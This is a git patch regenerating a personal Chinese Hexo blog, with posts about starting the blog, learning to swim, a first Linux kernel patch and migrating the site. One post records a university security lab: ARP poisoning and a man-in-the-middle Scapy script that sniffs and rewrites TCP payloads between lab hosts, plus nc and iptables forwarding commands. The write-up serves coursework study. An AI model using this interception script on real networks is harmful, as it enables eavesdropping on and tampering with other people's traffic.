From acc6fbc0fecde65118d7ca5fe0eb0ac0a27dd2d5 Mon Sep 17 00:00:00 2001 From: Tardfyou <3143596095@qq.com> Date: Thu, 23 May 2024 12:02:11 +0800 Subject: [PATCH] Site updated: 2024-05-23 12:02:10 --- .../11/\345\220\257\347\250\213/index.html" | 10 +++++----- .../index.html" | 14 +++++++------- .../index.html" | 6 +++--- .../index.html" | 6 +++--- .../index.html" | 12 ++++++------ about/index.html | 6 +++--- archives/2023/07/index.html | 8 ++++---- archives/2023/10/index.html | 8 ++++---- archives/2023/index.html | 8 ++++---- archives/2024/03/index.html | 8 ++++---- archives/2024/05/index.html | 8 ++++---- archives/2024/index.html | 8 ++++---- archives/index.html | 8 ++++---- categories/index.html | 6 +++--- categories/way-of-life/index.html | 8 ++++---- img/loading2.gif | Bin 0 -> 308555 bytes img/loading3.gif | Bin 0 -> 139691 bytes index.html | 18 +++++++++--------- link/index.html | 16 ++++++++-------- messageboard/index.html | 6 +++--- music/index.html | 8 ++++---- myself/index.html | 4 ++-- tags/enlightenment/index.html | 8 ++++---- tags/index.html | 6 +++--- tags/learning/index.html | 8 ++++---- tags/my-fisrt-blog/index.html | 8 ++++---- timeline/index.html | 6 +++--- 27 files changed, 106 insertions(+), 106 deletions(-) create mode 100644 img/loading2.gif create mode 100644 img/loading3.gif diff --git "a/2023/07/11/\345\220\257\347\250\213/index.html" "b/2023/07/11/\345\220\257\347\250\213/index.html" index e2dd978..fb65863 100644 --- "a/2023/07/11/\345\220\257\347\250\213/index.html" +++ "b/2023/07/11/\345\220\257\347\250\213/index.html" @@ -165,22 +165,22 @@ })(window) -

启程

启程


+

启程

启程


备注

这是我建站之后的第一篇正式博客,本来想用英语写的,但是怕以后看的不方便还是选择了中文。
说实话,第一次写博客真的不知道该讲些什么内容,一个人要是在这里自娱自乐的话也太不合适了
于是乎想来想去,苦了好些时辰,突发奇想,既然那么痛苦,那么干脆就把建站的痛苦经历讲一下吧

说干就干!(顺便讲一讲相关的一些小故事)


7月8日-想法产生的日子

在今年六月底,我报了字节跳动的暑期青训营(一个提升技术打好机会),估摸着后端知识太难学了,跟自己的专业相关性不大,于是选择了前端方向。而在更早的时候,我的同学也建立了属于自己的个人博客,于是想着身为一个程序员怎么能没有自己的blog呢,于是产生了学完青训内容之后就建立博客的念头。当天,阅读了无数文章,发现难度没有自己想的那么难,既然如此,不妨先动手试试。

-

7月9日-第一次实践

那天上午正在查找相关实践视频,发现了腾讯云服务器的免费试用机制,于是花了不少时间注册获得了自己的第一台云服务器,由于怕麻烦,懒,不敢动手,没有去买域名。然后用ssh远程操控,又发现麻烦,又换成了宝塔操作面板,利用wordpress零代码弄出了自己的第一个blog。虽然但是没有什么成就感。

于是当天查阅了github的相关内容开始为第二天做准备。

+

7月9日-第一次实践

那天上午正在查找相关实践视频,发现了腾讯云服务器的免费试用机制,于是花了不少时间注册获得了自己的第一台云服务器,由于怕麻烦,懒,不敢动手,没有去买域名。然后用ssh远程操控,又发现麻烦,又换成了宝塔操作面板,利用wordpress零代码弄出了自己的第一个blog。虽然但是没有什么成就感。

于是当天查阅了github的相关内容开始为第二天做准备。

7月10号-第二第三次实践

在当天上午,我通过vm提供的虚拟机服务进行了hexo的几次配置都是无功而返,首页只有一堆乱码,原因是不会配置环境变量。当天下午,在windows上终于成功,并且进行了初步的美化工作,说起来很容易,中间其实平均每一段时间就会出现一次报错,让我不得不回溯然后一步一步解决问题,极大的提高了我的信息检索能力。

-

7月11号-最终成功

看到成品出来的时刻内心是万分开心的

基础的美化工作基本上已经全部完成,后续的站点建设大概会以每个专栏和blog为主,在此立个小小的flag,每周写出一篇高质量的文章发不上去,也是对自己能力和自律程度的一个检验吧算是。

+

7月11号-最终成功

看到成品出来的时刻内心是万分开心的

基础的美化工作基本上已经全部完成,后续的站点建设大概会以每个专栏和blog为主,在此立个小小的flag,每周写出一篇高质量的文章发不上去,也是对自己能力和自律程度的一个检验吧算是。

初心

就是希望自己能够动手做出点东西来,然后也正如announcement中写的一样,不参政不论政,把热情投入到技术研究中去。


结尾期望

下周的话比较闲,就写点自己学习springboot和vue的收获吧多练练刚学的markdown,然后就要去贵阳玩了,有趣的事情那必须得好好记录一下。希望自己不忘初心,牢记使命,成为自己成长计划书上所期待成为那那个人!

哪有简单的路,只有不抱怨的心,易直向前!!!

-
Author: Tardfyou
Link: https://tardfyou.github.io/2023/07/11/启程/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment
ValineDisqus
avatar
Tardfyou
就一个人挺好
Follow Me
Announcement
这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
Pixiv日榜Top50

Comment
ValineDisqus
avatar
Tardfyou
就一个人挺好
Follow Me
Announcement
这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
Pixiv日榜Top50
-

游泳感悟

从游泳中能学到什么


-

前情提要

距离前文所说的下一篇发布时间还不到一周,哈哈,主要是今天突然有了想法,于是就打算写一篇抒发一下想法。说实在的,游泳和计算机技术好像是牛马不搭边的事情。但是近期的经历实则让我学到了宝贵的思维,并且将以往所学应用到了别的领域当中,我认为这是计算机人不可或缺的一种能力。还有就是最近在看一本书《娱乐至死》于是想通过文字隐喻锻炼自己的语言能力,让自己摆脱浮躁无话可说的处境,所以还是在此记录下来,而不是发朋友圈了。
soft

-

相关背景

时间:七月八号还是九号开始,到今天十四号,每天用时半个小时到一个半小时,成绩:从0到1,完全不会到可以游个七八米。
ok那么开始介绍一些有关背景故事吧。首先是我的大学足球课程老师(不方便透露别的信息),他教给了我两点最宝贵的东西,这是我在游泳中所主要运用的:1大脑是最宝贵的财富,把所学运用到运动中,多思考。2不要心浮气躁,要勇敢试错,敢于尝试,但是要建立在对的方法和方向上。然后是我的导师,他主要讲了两点:1思维能力很重要,体现在看问题的广度和深度,对一样东西建立模型然后进行研究得到新发现。2平时的课程可能没用,但是在下结论之前不妨认真听一下,因为其中的思维或许会在不就的将来带来作用(支持)。

-

实际运用

现在开始讲讲我在这五六天中是怎么做的,当旁人只会说一句话:呛几口水就行了的时候我是怎么考虑问题的。
首先,对一个完全不熟悉的事物,先进行体验和摸索,具备一定的感觉,在这个阶段我花了相当的时间。戴着救生圈,但不只是胡乱划水,而是不断摸索姿势,运用一点物理知识,思考怎么让自己获得更多反作用力,怎么时刻保持平衡,怎么加快自己的前进速度……这一阶段持续到12号结束,从13号开始我取下救生圈开始试着游几下。不出所料,听到的还是那句话,呛几口水就好了。诚然,我有点胆小不敢呛水,这是一点阻碍进步的地方,辩证的分析一下,适当呛水还是很有帮助的。因此,我采用了另外一个不呛水的方案,我认为,只要方法合适, 前期 ,一样能平稳学会游泳。考虑到最近在学车,我适当的融入了一点驾考的元素进去。考虑到之前划水积累的经验,我将学习分成了不同的多个项目,例如:戴小救生圈漂浮,戴小救生圈前进,自由漂浮,自由前进,姿势切换等等。考虑的实际应用,根据从简到难,从单一到组合的原则,先掌握单个简单项目,再训练组合项目例如姿势切换,最后在一定路径内实战,合适的使用出单一项目和组合项目即可。对于自由漂浮还可以细分:手部姿势单独训练,腿部姿势单独训练,手部腿部同时训练等等。在脑海中构建一个所谓的游泳技术栈,不需要他人过多指导,广度思考根据经验明白需要什么。再去深度思考,把可能出现的意外情况和解决方案考虑到,基础练好了再去执行。

由于后面三天有事,暂时停止训练,不过之后该做什么,该怎么做我已经有了初步的规划,相信再练个几天就能基本基本所需能力了(小期待,因为以后可以去学校游泳馆游个痛快)。

-

启发收获

谈不上什么特别大的启发,主要收获就是自己能够将听到的一些好的建议和自己所学运用到生活中了,不再是之前听人枯燥的劝诫,有一种庖丁暂时附身的自在和闲适。
然后惊喜的发现游泳既可以治疗颈椎又可以瘦腿,程序猿很难不i,夏天太热了不想跑步正好可以去游泳。

+

游泳感悟

从游泳中能学到什么


+

前情提要

距离前文所说的下一篇发布时间还不到一周,哈哈,主要是今天突然有了想法,于是就打算写一篇抒发一下想法。说实在的,游泳和计算机技术好像是牛马不搭边的事情。但是近期的经历实则让我学到了宝贵的思维,并且将以往所学应用到了别的领域当中,我认为这是计算机人不可或缺的一种能力。还有就是最近在看一本书《娱乐至死》于是想通过文字隐喻锻炼自己的语言能力,让自己摆脱浮躁无话可说的处境,所以还是在此记录下来,而不是发朋友圈了。
soft

+

相关背景

时间:七月八号还是九号开始,到今天十四号,每天用时半个小时到一个半小时,成绩:从0到1,完全不会到可以游个七八米。
ok那么开始介绍一些有关背景故事吧。首先是我的大学足球课程老师(不方便透露别的信息),他教给了我两点最宝贵的东西,这是我在游泳中所主要运用的:1大脑是最宝贵的财富,把所学运用到运动中,多思考。2不要心浮气躁,要勇敢试错,敢于尝试,但是要建立在对的方法和方向上。然后是我的导师,他主要讲了两点:1思维能力很重要,体现在看问题的广度和深度,对一样东西建立模型然后进行研究得到新发现。2平时的课程可能没用,但是在下结论之前不妨认真听一下,因为其中的思维或许会在不就的将来带来作用(支持)。

+

实际运用

现在开始讲讲我在这五六天中是怎么做的,当旁人只会说一句话:呛几口水就行了的时候我是怎么考虑问题的。
首先,对一个完全不熟悉的事物,先进行体验和摸索,具备一定的感觉,在这个阶段我花了相当的时间。戴着救生圈,但不只是胡乱划水,而是不断摸索姿势,运用一点物理知识,思考怎么让自己获得更多反作用力,怎么时刻保持平衡,怎么加快自己的前进速度……这一阶段持续到12号结束,从13号开始我取下救生圈开始试着游几下。不出所料,听到的还是那句话,呛几口水就好了。诚然,我有点胆小不敢呛水,这是一点阻碍进步的地方,辩证的分析一下,适当呛水还是很有帮助的。因此,我采用了另外一个不呛水的方案,我认为,只要方法合适, 前期 ,一样能平稳学会游泳。考虑到最近在学车,我适当的融入了一点驾考的元素进去。考虑到之前划水积累的经验,我将学习分成了不同的多个项目,例如:戴小救生圈漂浮,戴小救生圈前进,自由漂浮,自由前进,姿势切换等等。考虑的实际应用,根据从简到难,从单一到组合的原则,先掌握单个简单项目,再训练组合项目例如姿势切换,最后在一定路径内实战,合适的使用出单一项目和组合项目即可。对于自由漂浮还可以细分:手部姿势单独训练,腿部姿势单独训练,手部腿部同时训练等等。在脑海中构建一个所谓的游泳技术栈,不需要他人过多指导,广度思考根据经验明白需要什么。再去深度思考,把可能出现的意外情况和解决方案考虑到,基础练好了再去执行。

由于后面三天有事,暂时停止训练,不过之后该做什么,该怎么做我已经有了初步的规划,相信再练个几天就能基本基本所需能力了(小期待,因为以后可以去学校游泳馆游个痛快)。

+

启发收获

谈不上什么特别大的启发,主要收获就是自己能够将听到的一些好的建议和自己所学运用到生活中了,不再是之前听人枯燥的劝诫,有一种庖丁暂时附身的自在和闲适。
然后惊喜的发现游泳既可以治疗颈椎又可以瘦腿,程序猿很难不i,夏天太热了不想跑步正好可以去游泳。

不足分析

主要不足之处就是胆子比较小,方法要对这个点没问题,但是不能把勇气给束缚住了对吧。

期待成长,遇见成长,拥抱成长,生活很美,只是需要我们投入进去感受。

-
Author: Tardfyou
Link: https://tardfyou.github.io/2023/07/14/游泳感悟/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment
ValineDisqus
avatar
Tardfyou
就一个人挺好
Follow Me
Announcement
这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
Pixiv日榜Top50

Comment
ValineDisqus
avatar
Tardfyou
就一个人挺好
Follow Me
Announcement
这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
Pixiv日榜Top50
-

第一次Linux Kernel的patch提交

记录第一次对Linux Kernel所做的贡献

Linux 内核是 Linux 计算机操作系统的核心。内核是计算机硬件与其进程之间的核心接口,确保有可用的内存供 Linux 应用程序运行、优化处理器以及在应用程序间导航系统要求。Linux 内核通过“中断”在硬件和应用程序之间进行通信(摘录自bing)。

+

第一次Linux Kernel的patch提交

记录第一次对Linux Kernel所做的贡献

Linux 内核是 Linux 计算机操作系统的核心。内核是计算机硬件与其进程之间的核心接口,确保有可用的内存供 Linux 应用程序运行、优化处理器以及在应用程序间导航系统要求。Linux 内核通过“中断”在硬件和应用程序之间进行通信(摘录自bing)。

通过提交自己的patch可以让代码进入到kernel中,永世保存x
修改不良的代码风格和解决相关安全隐患√

什么是Linux Kernel的patch?

Linux patch 命令 Linux patch 命令用于修补文件。 patch 指令让用户利用设置修补文件的方式,修改,更新原始文件。 倘若一次仅修改一个文件,可直接在指令列中下达指令依序执行。 如果配合修补文件的方式则能一次修补大批文件,这也是 Linux 系统核心的升级方法之一。

Linux内核作为世界最大的开源软件之一,其开发和维护工作非常重要,需要无数开发者共同努力。
向Linux社区贡献代码的最基本方式是邮件向maintainer提交补丁,而不是通过github中的fork和pull request。

@@ -215,7 +215,7 @@

第二次commit时可以更改一些指令,我还没有具体尝试,等以后会补充更新。
  • 好懒,以后要勤奋更blog了QAQ,明天是1024程序节,提前祝世界各地的开发者们节日快乐,也祝自己别再掉发了(哭)。
  • -

    Author: Tardfyou
    Link: https://tardfyou.github.io/2023/10/23/第一次Linux-Kernel的patch提交/
    Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

    Comment
    ValineDisqus
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Pixiv日榜Top50

    Comment
    ValineDisqus
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Pixiv日榜Top50
    -

    一次博客移植

    一切的一切

    关于我为什么长时间没更新了这个问题,在23年的12月和1月,我的电脑经历了开机蓝屏的事故,在尝试了几十种方法无果后,我放弃了。但是,却听从了售后的建议重置了系统,这直接导致我的blog仓库和github连接切断。我预先保存好了blog的一切文件,在搜寻了一些网上教程后,重新密钥连接了github仓库和我的本地机后台,索性直接写一篇来讲一下我是怎么做的,以及遇到的问题。o(=•𖥦<=)o★~

    +

    一次博客移植

    一切的一切

    关于我为什么长时间没更新了这个问题,在23年的12月和1月,我的电脑经历了开机蓝屏的事故,在尝试了几十种方法无果后,我放弃了。但是,却听从了售后的建议重置了系统,这直接导致我的blog仓库和github连接切断。我预先保存好了blog的一切文件,在搜寻了一些网上教程后,重新密钥连接了github仓库和我的本地机后台,索性直接写一篇来讲一下我是怎么做的,以及遇到的问题。o(=•𖥦<=)o★~

    不断尝试

    寻找MyBlog

    最开始,我从OneDrive中保存到桌面,但是文件数量过多导致下载统计极度缓慢。我的解决方案是,利用everything文件资源管理器,快速查找我的四个盘中的文件然后快速复制到桌面上。

    环境配置

    对于以前的环境,现在都需要重新配置,主要包括hexo的下载和nmp的安装(因为hexo需要npm才能装)

    git准备

    对于git的安装,可以直接去官网,或者利用腾讯管家的软件市场一步到位完成,只需注意环境变量的配置,然后能正常使用git bash即可。注意,一定要配置好环境变量,否则后面使用hexo会报错。

    @@ -208,7 +208,7 @@

    1
    2
    3
    4
    npm install
    npm install hexo-deployer-git --save
    npm install hexo-generator-feed --save
    npm install hexo-generator-sitemap --save

    好了,到这一步,我们的blog就彻底完成移植工作了,如果执行hexo d的时候报权限禁止了,就检查下你的密钥复制对了没,git配置对了没。
    新学期了,祝大家能够活出自我,一直向前,朝着理想中的自己不断前进。♡>𖥦<)!!

    -

    Author: Tardfyou
    Link: https://tardfyou.github.io/2024/03/01/一次博客移植/
    Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

    Comment
    ValineDisqus
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Pixiv日榜Top50

    Comment
    ValineDisqus
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Pixiv日榜Top50
    -

    520和安全一同度过

    那个晚上

    谁家好人在520全天满课啊,没错就是我了。520的晚上我正式开始了安全综合实践课程,由于实验内容很有趣因此在这里分享一下具体过程。然后,祝大家都过了一个难忘的520.

    +

    520和安全一同度过

    那个晚上

    谁家好人在520全天满课啊,没错就是我了。520的晚上我正式开始了安全综合实践课程,由于实验内容很有趣因此在这里分享一下具体过程。然后,祝大家都过了一个难忘的520.

    内容

    内网攻防,arp中毒和netcat传输tcp数据包篡改。

    环境

    Ubuntu Seed,网段192.168.60.0/24
    设备:攻击机HostM:192.168.60.3 eth0,被攻击机HostA:192.168.60.2,eth0,网关HostB:192.168.60.1,docker2。

    要求

    M进行arp中毒和中间人流量转发,A nc连接网关 B,M开启ip转发判断是否实现中间人,然后关闭ip转发,保持中毒状态,运行TCP数据包嗅探篡改和转发脚本,实现将A发往B的数据由123篡改为456。

    -

    代码实现

    arp毒化和中间人伪造



    +

    代码实现

    arp毒化和中间人伪造



    监听脚本 listen.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    #!/usr/bin/python

    from scapy.all import *

    MAC_A = "02:42:c0:a8:3c:02"
    MAC_B = "02:42:c9:92:f0:d5"

    def spoof_pkt(pkt):
    a = IP(src=pkt[IP].src, dst=pkt[IP].dst)
    b = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags=pkt[TCP].flags, seq=pkt[TCP].seq, ack=pkt[TCP].ack)

    data = bytes(pkt[TCP].payload) # 将payload转换为字节串
    print("**** %s, length: %d" % (data, len(data)))
    newdata = data.replace(b'123', b'456') # 使用字节串替换
    newpkt = a/b/newdata

    send(newpkt)

    f = 'tcp and (ether src ' + MAC_A + ' or ether src ' + MAC_B + ' )'
    pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
    -

    最终结果

    +

    最终结果

    其它有关代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    nc -ln 9090
    nc <ip> <port>

    docker run <name>
    docker start <name>
    docker exec -it <name> /bin/bash
    docker ps -a
    docker cp <name>:/../.. test.txt
    docker cp test.txt <name>:/../..
    arp -a
    arp -d <ip>
    arp -n

    sudo -i
    Iptables -P FORWARD ACCEPT
    -

    life is a long way

    -
    Author: Tardfyou
    Link: https://tardfyou.github.io/2024/05/22/520晚上的攻防浪漫/
    Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

    Comment
    ValineDisqus
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Pixiv日榜Top50

    Comment
    ValineDisqus
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Pixiv日榜Top50
    -
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Recent Post
    +
    avatar
    Tardfyou
    就一个人挺好
    Follow Me
    Announcement
    这里是vincent的博客,欢迎技术交流,本人不参政不论政,只愿在此分享平时的一些发现和生活趣事
    Recent Post
    Categories
    Info
    Article :
    5
    Run time :
    Total Count :
    5.5k
    UV :
    PV :
    Last Push :
    Pixiv日榜Top50